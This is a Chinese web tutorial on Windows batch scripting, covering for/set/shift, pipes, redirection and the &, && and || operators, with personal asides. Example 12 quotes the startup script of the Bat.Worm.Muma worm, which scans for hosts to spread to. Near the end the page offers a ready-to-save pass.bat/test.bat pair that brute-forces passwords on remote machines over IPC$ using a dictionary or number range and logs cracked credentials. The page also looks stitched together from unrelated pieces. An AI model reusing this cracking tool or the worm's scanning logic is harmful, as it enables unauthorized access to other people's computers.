包你學(xué)會(huì)批處理整理集合
10、for、set、shift
為什么把這三個(gè)命令放到一起來(lái)講?原因除了我說(shuō)明外,恐怕誰(shuí)也想不到!很簡(jiǎn)單的一句話:其實(shí)我也不太懂!是的,對(duì)于這兩個(gè)命令,我是從研究Bat.Worm.Muma病毒開始學(xué)習(xí)的,時(shí)間過(guò)去了不少,但還是沒(méi)完全搞明白,我怕講出來(lái)連自己都看不懂,我更怕不小心講錯(cuò)了成了罪人。所以我給出一個(gè)腳本去告訴你,如何讓這兩個(gè)命令給自己留一個(gè)初步的印象,其實(shí)也就是這兩個(gè)命令的入門,而并不是說(shuō)如何領(lǐng)會(huì)這兩個(gè)命令。因?yàn)橐I(lǐng)會(huì)如此精妙的兩個(gè)命令(特別是for)談何容易!也許你會(huì)表?yè)P(yáng)我說(shuō)我誠(chéng)實(shí)、不懂就不懂;也許你會(huì)罵我,讓我既然不懂就趕緊滾蛋,不要在這里丟人顯眼;也許你還會(huì)說(shuō)一些別的這樣那樣好聽或不好聽的話,都隨便你了,即使我不同意你說(shuō)的話,我也會(huì)誓死捍衛(wèi)你說(shuō)話的權(quán)利??蠢唬?/p>
@echo off for /? > for.txt set /? > set.txt shift /? >shift.txt exit
執(zhí)行后在當(dāng)前路徑下就生成for.txt、set.txt和shift.txt三個(gè)文件,里面分別記錄了for命令、set命令和shift命令的幫助信息。地球人都能看懂,我就不多說(shuō)了。我在網(wǎng)上曾經(jīng)找了很長(zhǎng)時(shí)間這三個(gè)命令的教程,但都不理想,基本都是照搬的幫助信息。我想在自己完全掌握了這兩個(gè)命令后,一定要寫一篇用自己的文字總結(jié)出來(lái)的for、set和shift教程(關(guān)于shift命令,后面介紹批處理的參數(shù)時(shí)還將涉及到),一定會(huì)的,這是我的心愿之一!需要注意的一點(diǎn)是,這三個(gè)命令的幫助里 ,介紹的都比較死板,雖然也舉了一些例子,但這是遠(yuǎn)遠(yuǎn)不夠的。要掌握這兩個(gè)命令,最需要的就是耐心!沒(méi)寫錯(cuò),就是耐心。光是認(rèn)真看完它們的幫助文字就已經(jīng)需要足夠的耐心了,要進(jìn)一步練習(xí)領(lǐng)會(huì)這兩個(gè)命令,難道不需要更大的耐心?實(shí)戰(zhàn)練習(xí)的機(jī)會(huì)我會(huì)留給你的,關(guān)鍵還是那句話,看你有沒(méi)有耐心去研究了。看看例十二:
START.BAT: CALL MUMA.BAT SET IPA=192.168 CALL 10.BAT 0 :NEARAGAIN netstat -n|find ":" >A.TMP FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT :START CALL RANDOM.BAT IF "%NUM1%"=="255" GOTO NEARAGAIN IF "%NUM1%"=="192" GOTO NEARAGAIN IF "%NUM1%"=="127" GOTO NEARAGAIN IF "%NUM2%"=="255" GOTO NEARAGAIN IF "%NUM3%"=="255" GOTO NEARAGAIN IF "%NUM4%"=="255" GOTO NEARAGAIN SET IPA=%NUM1%.%NUM2% ECHO START > A.LOG PING %IPA%.%NUM3%.1>B.TMP PING %IPA%.%NUM3%.%NUM4%>>B.TMP FIND /C /I "from" B.TMP IF ERRORLEVEL 1 GOTO START CALL 10.BAT %NUM3% DEL A.LOG GOTO START
這是Bat.Worm.Muma病毒的起始腳本,設(shè)置了病毒運(yùn)行的環(huán)境變量。是不是看的頭都大了?又忘了寫在第一章第一段的那句話(靜下心來(lái)?。?,你應(yīng)該能體會(huì)到學(xué)習(xí)這兩個(gè)命令所需要的耐心了吧。就如同去愛(ài)一個(gè)人,你得學(xué)會(huì)寬容,打不得罵不得,用你寬大的胸懷去包容她的一切,即使你發(fā)現(xiàn)愛(ài)她的過(guò)程如看上面代碼的過(guò)程一樣讓你頭大,但你還是得愛(ài)下去----愛(ài)需要理由嗎?不需要嗎?需要嗎?不需要嗎……等到風(fēng)平浪靜后,最直觀的收獲就是,你的耐心變的前所未有的充足,面對(duì)她的復(fù)雜和善變,你自己會(huì)處變不驚,以自己的方式去從容應(yīng)付曾經(jīng)應(yīng)付不了的場(chǎng)面,即使到最后一身傷痕,也會(huì)感慨曾經(jīng)的舉動(dòng)有多么偉大。
沒(méi)錯(cuò),這就是批處理的魅力,這就是愛(ài)的魅力。讓你受了傷還感謝傷你的人。
不得不再次重申一遍,各種DOS命令是批處理的BODY(我實(shí)在找不出一個(gè)更合適的詞來(lái)形容他們之間的關(guān)系),學(xué)好DOS命令是學(xué)好批處理的前提。其他DOS命令如copy、dir、del、type、path、break、start等內(nèi)部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批處理里的應(yīng)用非常廣泛。這篇教程的作用,是教你認(rèn)識(shí)批處理,以及如何利用DOS命令組合出來(lái)一個(gè)完美的批處理腳本,去讓它自動(dòng)完成你想要它做的事情。而靈活自如的編輯一個(gè)批處理腳本是建立在熟練掌握DOS命令的基礎(chǔ)上的,這已經(jīng)超出了本文的范疇,在此就不贅述了。
不知不覺(jué)中第三章已經(jīng)結(jié)束了。耳麥里傳來(lái)的依然是陳曉東的《比我幸?!?,每隔4分32秒就自動(dòng)重播。雖然我不并不很喜歡陳曉東,可這并不妨礙我喜歡音樂(lè),喜歡這首描寫的如此讓人感慨的歌。請(qǐng)你一定要比我幸福/才不枉費(fèi)我狼狽退出/再痛也不說(shuō)苦/愛(ài)不用抱歉來(lái)彌補(bǔ)/至少我能成全你的追逐/請(qǐng)記得你要比我幸福/才值得我對(duì)自己殘酷/我默默的倒數(shù)/最后再把你看清楚/看你眼里的我好饃糊/慢慢被放逐。
可以說(shuō),批處理腳本中最重要的幾個(gè)命令我都沒(méi)有給出如echo或if那樣比較詳細(xì)的介紹,原因我已經(jīng)說(shuō)了,因?yàn)槲乙彩莻€(gè)菜,我也不太懂----但我正在學(xué)!你呢?今天又去了一趟圖書館,淘金一樣發(fā)現(xiàn)了一本叫《DOS批文件》的東東,藏在一個(gè)角落里落滿了灰,五本摞一起就跟磚頭一樣厚了。大概翻了一下,里面介紹了很多比較底層和基礎(chǔ)的東西,雖然從思路上講,已經(jīng)有點(diǎn)time out了,很多東西已經(jīng)基本沒(méi)有利用的價(jià)值(這就是信息時(shí)代的更新速度),但還是很值得看的。于是打算下午淘過(guò)來(lái),放假回去了再好好研究一番,連同那幾個(gè)不熟悉的命令一起搞熟了,再續(xù)寫這篇教程。我始終堅(jiān)信,沒(méi)有最好只有更好。
但是很可惜,等到下午再去的時(shí)候,圖書館樓梯口已經(jīng)立了一個(gè)牌子,上面寫著out of service----人家這學(xué)期的工作結(jié)束了。于是回到宿舍打算繼續(xù)寫第四章,正在這時(shí)又得到一個(gè)“振奮人心”的消息:期末考試有一科掛了,而且是全班第一----這一門整個(gè)班里就掛了我一個(gè)。郁悶的情緒剎那間涌上心頭,整個(gè)世界仿佛都變成黑的了。食堂和小賣部已經(jīng)陸續(xù)關(guān)門,學(xué)校里的人越來(lái)越少,迎面過(guò)來(lái)的幾個(gè)同學(xué)也都一身行李,忙碌著準(zhǔn)備回家過(guò)年,內(nèi)心的孤寂和失落如同夏日里暴雨前的烏云,迅速而不可抗拒的占領(lǐng)了心里每一個(gè)角落。迎著一月的冷風(fēng)我一個(gè)人在天橋上發(fā)呆,還能怎么樣,連期末考試都應(yīng)付不了的失敗男人。
“課間休息”時(shí)間好象長(zhǎng)了點(diǎn),呵呵,上課了!從這一章開始,將詳細(xì)介紹批處理中常用的幾個(gè)組合命令和管道命令。這些命令雖然不是必須的,如同愛(ài)一個(gè)人時(shí)不一定非得每天去陪,但如果少了這個(gè)過(guò)程,事情就會(huì)變的復(fù)雜而不完美,所以我認(rèn)為管道命令和組合命令是批處理的調(diào)味劑,幾乎是少不了的。
下面從管道命令講起。常用的管道命令有以下這些:|、>、>>
11、|
這個(gè)命令恐怕大家不是很陌生,經(jīng)常操作DOS的朋友都應(yīng)該知道,當(dāng)我們查看一個(gè)命令的幫助時(shí),如果幫助信息比較長(zhǎng),一屏幕顯示不完時(shí)DOS并不給我們時(shí)間讓我們看完一屏幕再翻到另一屏幕,而是直接顯示到幫助信息的最后。如在提示符下輸入help回車時(shí),就會(huì)看到當(dāng)前DOS版本所支持的所有非隱含命令,但你只能看到最后的那些命令,前面的早就一閃而過(guò)了,如何解決這個(gè)問(wèn)題?看例十三:
help | more
回車后會(huì)發(fā)現(xiàn)顯示滿一屏幕后就自動(dòng)暫停,等候繼續(xù)顯示其他信息。當(dāng)按寫回車時(shí),變成一個(gè)一個(gè)的出現(xiàn);按下空格鍵時(shí)一屏幕一屏幕顯示,直到全部顯示完為止;按其他鍵自動(dòng)停止返回DOS。
為什么會(huì)出現(xiàn)上述現(xiàn)象?答案很簡(jiǎn)單,這里結(jié)合了管道命令|和DOS命令more來(lái)共同達(dá)到目的的。這里先簡(jiǎn)單介紹一下help命令和more命令,對(duì)理解|命令的用法有很大幫助。
11.1、help命令。其實(shí)這個(gè)命令是不需要多說(shuō)的,但在上述例子中help命令的用法比較特殊,直接在DOS提示符下輸入help命令,結(jié)果是讓DOS顯示其所支持的所有非隱含命令,而在其他地方用help命令,如輸入net help回車,則是顯示net命令的幫助信息。
11.2、more命令??赡芎芏嗯笥岩郧熬蜎](méi)有接觸過(guò)這個(gè)命令,這個(gè)命令在Linux下的用處非常廣泛,也是管道命令之一。大家可以找一篇比較長(zhǎng)的文章(a.txt)在DOS提示符下輸入如下兩個(gè)命令去比較一下差別:more a.txt和type a.txt。利用more命令,可以達(dá)到逐屏或逐行顯示輸出的效果,而type命令只能一次把輸出顯示完,最后的結(jié)果就是只能看到末尾的部分。在例十三里,more命令的作用就是讓輸出的信息逐屏或逐行顯示。
看到這里,你是否已經(jīng)能隱約感受到了|命令的作用了?沒(méi)錯(cuò),它的作用,就是把前一命令的輸出當(dāng)后一命令的輸入來(lái)用的。在例十三里,前一命令的輸出,就是help命令執(zhí)行后顯示的DOS所支持的所有非隱含命令,而這個(gè)結(jié)果剛好做了后一命令more的輸入。所以例十三和下面的例十四是等效的:
help > a.txt
more a.txt
del a.txt
這里利用另一管道命令>生成了一個(gè)a.txt文件作為中間環(huán)節(jié),在用more命令查看a.txt文件后再刪除a.txt文件(例十三的所有操作是在內(nèi)存中進(jìn)行的,不生成文件)。可以看出,正確使用管道命令|可以帶來(lái)事半功倍的效果。
結(jié)合例十三和例十四,以及前面的例九再體會(huì)一遍:|命令的作用,就是讓前一命令的輸出當(dāng)做后一命令的輸入。
學(xué)習(xí)批處理!包你學(xué)會(huì)(四)
12、>、>>
這兩個(gè)命令的效果從本質(zhì)上來(lái)說(shuō)都是一樣的,他們都是輸出重定向命令,說(shuō)的通俗一點(diǎn),就是把前面命令的輸出寫入到一個(gè)文件中。這兩個(gè)命令的唯一區(qū)別是,>會(huì)清除掉原有文件中的內(nèi)容后把新的內(nèi)容寫入原文件,而>>只會(huì)另起一行追加新的內(nèi)容到原文件中,而不會(huì)改動(dòng)其中的原有內(nèi)容。例十五:
echo @echo off > a.bat echo echo This is a pipeline command example. >> a.bat echo echo It is very easy? >> a.bat echo echo Believe your self! >> a.bat echo pause >> a.bat echo exit >> a.bat
依次在DOS提示符下輸入以上各行命令,一行一個(gè)回車,將在當(dāng)前目錄下生成一個(gè)a.bat文件,里面的內(nèi)容如下:
@echo off echo This is a pipeline command example. echo It is very easy? echo Believe your self! pause exit
看到這里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的寫入功能編輯一個(gè)文本,而不需要專門的文本編輯工具;2、管道命令>和>>的區(qū)別如上所述。如果這里只用>命令來(lái)完成上面操作,最后也會(huì)生成一個(gè)a.bat,但里面的內(nèi)容就只剩下最后一行exit了。所以>和>>一般都聯(lián)合起來(lái)用,除非你重定向的輸出只有一行,那么就可以只用>了。結(jié)合例一再仔細(xì)體會(huì)輸出重定向管道命令>和>>的用法。
13、<、>&、<&
這三個(gè)命令也是管道命令,但它們一般不常用,你只需要知道一下就ok了,當(dāng)然如果想仔細(xì)研究的話,可以自己查一下資料。
<,輸入重定向命令,從文件中讀入命令輸入,而不是從鍵盤中讀入。
>&,將一個(gè)句柄的輸出寫入到另一個(gè)句柄的輸入中。
<&,剛好和>&相反,從一個(gè)句柄讀取輸入并將其寫入到另一個(gè)句柄輸出中。
關(guān)于這三個(gè)管道命令的舉例,在后面批處理腳本的精妙應(yīng)用中還將涉及到。
下面介紹組合命令:&、&&、||
組合命令,顧名思義,就是可以把多個(gè)命令組合起來(lái)當(dāng)一個(gè)命令來(lái)執(zhí)行。這在批處理腳本里是允許的,而且用的非常廣泛。它的格式很簡(jiǎn)單----既然現(xiàn)在已經(jīng)成了一個(gè)文件了,那么這多個(gè)命令就要用這些組合命令連接起來(lái)放在同一行----因?yàn)榕幚碚J(rèn)行不認(rèn)命令數(shù)目。組合命令的作用,就如同給愛(ài)人陪不是,說(shuō)一句是說(shuō),說(shuō)十句也是說(shuō),不一次把好話都說(shuō)了出來(lái),效果可能會(huì)好些----當(dāng)然得排除一種特殊情況:這些話是否有先后順序,有些話是否可以同時(shí)說(shuō)。在批處理腳本里也一樣,有些時(shí)候某些命令是不能同時(shí)執(zhí)行的,后面給你說(shuō)。
剛剛又送走了一個(gè)同學(xué),人去樓空的感覺(jué)越來(lái)越明顯,望著空蕩蕩的床鋪,平日里喧鬧的宿舍就只剩下我一個(gè)人了,整個(gè)世界只有那個(gè)平時(shí)令人非常討厭的老鼠這時(shí)候才顯得可愛(ài)起來(lái)----只有它會(huì)陪著我在這不敢開燈的漆黑夜里----一個(gè)連期末考試都應(yīng)付不了的失敗男人。失?。∥腋械娇煲粑贿^(guò)來(lái),這種失敗的壓力簡(jiǎn)直令我窒息,簡(jiǎn)直讓我的手接收不到大腦的信號(hào),簡(jiǎn)直讓這篇未完成的教程夭折。但我能怪誰(shuí)?
忙碌了一學(xué)期要過(guò)年了卻掛了科,失??;掛了科也倒罷了,竟然一個(gè)人拖全班的后退,失敗中的失敗;更失敗的,是在這最失落的時(shí)候,竟然找不到一個(gè)人可以傾訴;然而最失敗的,是突然發(fā)現(xiàn)自己竟然如此脆弱,如此耐不住寂寞。不過(guò)這倒也解開了心中疑惑很久的一個(gè)問(wèn)題:為什么明知道那段情是一個(gè)旋渦卻還心甘情愿的往里面跳----這就是青春,風(fēng)一樣的年齡,火一樣不安的心。不再愛(ài)了,我不要再一個(gè)人的時(shí)候苦苦等待;不再愛(ài)了,我不要在你給的囚籠里憐憫的愛(ài);不再愛(ài)了,我不要在別人的視線里如此可笑;不再愛(ài),我不再愛(ài)。就算塌下來(lái),我也要一個(gè)人扛著,頭不能低腰不能彎,不能喘息不能傾訴,因?yàn)殡m然失敗,但還是男人,是男人就不能向困難低頭!
14、&
這可以說(shuō)是最簡(jiǎn)單的一個(gè)組合命令了,它的作用是用來(lái)連接n個(gè)DOS命令,并把這些命令按順序執(zhí)行,而不管是否有命令執(zhí)行失敗。例十六:
copy a.txt b.txt /y & del a.txt
其實(shí)這句和move a.txt b.txt的效果是一樣的,只不過(guò)前者是分了兩步來(lái)進(jìn)行的(在后面還將涉及到具體使用哪種方法的問(wèn)題)。這個(gè)命令很簡(jiǎn)單,就不多費(fèi)口舌了,唯一需要注意的一點(diǎn)是,這里&兩邊的命令是有執(zhí)行順序的,從前往后執(zhí)行。
15、&&
切記,這里介紹的幾個(gè)命令都是組合命令,所以他們前后都必須都有其他命令(要不如何組合?)。這個(gè)命令也不例外,它可以把它前后兩個(gè)命令組合起來(lái)當(dāng)一個(gè)命令來(lái)用,與&命令不同之處在于,它在從前往后依次執(zhí)行被它連接的幾個(gè)命令時(shí)會(huì)自動(dòng)判斷是否有某個(gè)命令執(zhí)行出錯(cuò),一旦發(fā)現(xiàn)出錯(cuò)后將不繼續(xù)執(zhí)行后面剩下的命令。這就為我們自動(dòng)化完成一些任務(wù)提供了方便。例十七:
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www
如果遠(yuǎn)程主機(jī)存在user.mdb,則copy到本地e:\backup\www,如果不存在當(dāng)然就不執(zhí)行copy了。這句對(duì)搞網(wǎng)管的朋友是否有點(diǎn)用呢?呵呵。其實(shí)它和下面這句的作用是一樣的:
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www
至于你喜歡用哪個(gè)就隨便了,我沒(méi)辦法判斷dir和if兩個(gè)命令哪一個(gè)執(zhí)行效率更高,所以不知道用哪個(gè)更好,呵呵。
你是否還記得“有些命令是不能同時(shí)執(zhí)行的”?你是否相信這句話?當(dāng)然得相信,不信就給你出道題:把C盤和D盤的文件和文件夾列出到a.txt文件中。你將如何來(lái)搞定這道題?有朋友說(shuō),這還不是很easy的問(wèn)題嗎?同時(shí)執(zhí)行兩個(gè)dir,然后把得到的結(jié)果>到a.txt里就ok了嘛,看例十八:
dir c:\ && dir d:\ > a.txt
仔細(xì)研究一下這句執(zhí)行后的結(jié)果,看看是否能達(dá)到題目的要求!錯(cuò)了!這樣執(zhí)行后a.txt里只有D盤的信息!為什么?就因?yàn)檫@里&&命令和>命令不能同時(shí)出現(xiàn)一個(gè)句子里(批處理把一行看成一個(gè)句子)?。〗M合命令&&的優(yōu)先級(jí)沒(méi)有管道命令>的優(yōu)先級(jí)高(自己總結(jié)的,不妥的地方請(qǐng)指正)!所以這句在執(zhí)行時(shí)將本分成這兩部分:dir c:\和dir d:\ > a.txt,而并不是如你想的這兩部分:dir c:\ && dir d:\和> a.txt。要使用組合命令&&達(dá)到題目的要求,必須得這么寫:
dir c:\ > a.txt && dir d:\ >> a.txt
這樣,依據(jù)優(yōu)先級(jí)高低,DOS將把這句話分成以下兩部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的幾句的差別比較特殊,值得好好研究體會(huì)一下。
當(dāng)然這里還可以利用&命令(自己想一下道理哦):
dir c:\ > a.txt & dir d:\ >> a.txt
16、||
這個(gè)命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執(zhí)行多條命令時(shí),當(dāng)遇到一個(gè)執(zhí)行正確的命令就退出此命令組合,不再繼續(xù)執(zhí)行下面的命令。題目:查看當(dāng)前目錄下是否有以s開頭的exe文件,如果有則退出。例十九:
@echo off
dir s*.exe || exit
其實(shí)這個(gè)例子是有破綻的,你看出來(lái)了嗎?其實(shí)很簡(jiǎn)單,自己試試就知道了嘛:如果存在那個(gè)exe文件,就退出;如果不存在那個(gè)exe文件,也退出!為什么?因?yàn)槿绻淮嬖谀莻€(gè).exe文件,則前一條命令dir s*.exe執(zhí)行肯定是不成功的,所以就繼續(xù)執(zhí)行exit,自然就退出了,呵呵。那么如何解決題目給出的問(wèn)題呢?看例二十:
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
這樣執(zhí)行的結(jié)果,就能達(dá)到題目的要求,是否存在s*.exe將出現(xiàn)兩種結(jié)果。這里加暫停的意思,當(dāng)然是讓你能看到echo輸出的內(nèi)容,否則一閃而過(guò)的窗口,echo就白寫了。
給出兩個(gè)更好研究?jī)?yōu)先級(jí)(同時(shí)也是更難理解)的腳本,仔細(xì)研究它們的區(qū)別,以便徹底理解各種命令的優(yōu)先級(jí)順序,對(duì)以后自己利用這些命令寫腳本有很大的好處----不會(huì)出錯(cuò)!OK,請(qǐng)看例二十一和例二十二:
例二十一:
@echo off
dir a.ttt /a & dir a.txt || exit
例二十二:
@echo off
dir a.ttt /a && dir a.txt || exit
警告:患有心腦血管病的朋友請(qǐng)不要研究以上兩例,否則輕者頭大如斗,重者血管爆裂。任何人由于研究這兩個(gè)腳本的區(qū)別而造成的任何事故由自己或其合法監(jiān)護(hù)人負(fù)責(zé),與本人和本論壇無(wú)關(guān)。特此警告!
有關(guān)管道命令和組合命令就大概介紹到這里了,不知道聰明的你是否理解?呵呵,能理解就成天才了,除非你以前就已經(jīng)掌握!千萬(wàn)別小看了這幾個(gè)鬼命令,大棒槌是我的說(shuō),簡(jiǎn)直就不是人學(xué)的東西!但我還是靜下心來(lái)研究了一番,最后得出的結(jié)論如上所述,已經(jīng)一點(diǎn)不剩的交給你了,希望你好好收藏并消化吸收,當(dāng)然有錯(cuò)誤被你發(fā)現(xiàn)了,或者不完整的地方被你看出來(lái)了,請(qǐng)趕緊告訴我一聲!
這幾個(gè)命令真的把我的頭都搞大了。在網(wǎng)上有一篇流傳很廣的批處理教程:“簡(jiǎn)明批處理教程”,雖然說(shuō)的比較全面,但看起來(lái)很不過(guò)癮。在對(duì)for等命令介紹時(shí)就一個(gè)for /? > a.txt & start a.txt完事了(當(dāng)然這一點(diǎn)上我不能說(shuō)人家什么,畢竟我連for /?都沒(méi)給出),而對(duì)上述管道命令和組合命令、以及這篇教程以后將講到的用批處理操作注冊(cè)表等方面根本沒(méi)有介紹。我之所以花整整一章來(lái)講管道命令和組合命令,是因?yàn)樗麄儾攀桥幚淼木A和靈魂,能否正確利用好這幾個(gè)命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問(wèn)題,可以從DOS的角度出發(fā)專門有針對(duì)性的學(xué)習(xí),但有關(guān)這幾個(gè)命令的問(wèn)題,卻是不容易精通掌握的----他們之間的關(guān)系太復(fù)雜了!
將下列代碼存為bat文件
1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機(jī) 用戶名
2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長(zhǎng) 結(jié)束數(shù) 主機(jī) 用戶名
密碼破解出來(lái)之后,存放于c:\pass.txt文件里面。
將下列代碼存為pass.bat文件
@echo off echo ------------------------------------------------------------------- >>c:\pass.txt echo ------------------------------------------------------------------- >>c:\pass.txt date /t >>c:\pass.txt time /t >>c:\pass.txt echo 破解結(jié)果: >>c:\pass.txt if "%6"=="1" goto 大棒槌是我的說(shuō)2 :大棒槌是我的說(shuō)1 start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3 goto quit :大棒槌是我的說(shuō)2 start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5 :quit 將下列代碼存為test.bat net use \\%1\ipc$ %2 /user:"%3" goto answer%ERRORLEVEL% rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果,net use成功返回0,失敗返回2 :answer0 echo 遠(yuǎn)程主機(jī):"%1" >>c:\pass.txt echo 用 戶:"%3" >>c:\pass.txt echo 密 碼:%2 >>c:\pass.txt net use \\%1\ipc$ /delet exit :answer2
For
對(duì)一組文件中的每個(gè)文件運(yùn)行指定的命令。
可以在批處理程序中或直接從命令提示符使用 for 命令。
要在批處理程序中使用 for 命令,請(qǐng)使用以下語(yǔ)法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for,請(qǐng)使用以下語(yǔ)法:
for %variable in (set) do command [command-parameters]
參數(shù)
%%variable 或 %variable
代表可替換的參數(shù)。for 命令使用在 set 中指定的每個(gè)文本字符串替換 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)處理所有的文件為止。使用 %% variable 在批處理程序中執(zhí)行 for 命令。使用 % variable 通過(guò)命令提示符執(zhí)行 for 命令。變量名區(qū)分大小寫。
相關(guān)文章
BAT批處理實(shí)現(xiàn)Fibonacci函數(shù)
這篇文章主要介紹了BAT批處理實(shí)現(xiàn)Fibonacci函數(shù),本文直接給出實(shí)現(xiàn)代碼和使用示例,需要的朋友可以參考下2015-06-06在WINDOWS下dos與批處理中的命令cd /d %~dp0及其用途
這篇文章主要介紹了在WINDOWS下dos與批處理中的命令cd /d %~dp0及其用途,需要的朋友可以參考下2023-05-05批處理之家發(fā)現(xiàn)的用批處理實(shí)現(xiàn)的系統(tǒng)類應(yīng)用代碼
本批處理用到 WIMC FOR CALL GOTO 等大量的代碼 適合新手做研究2008-06-06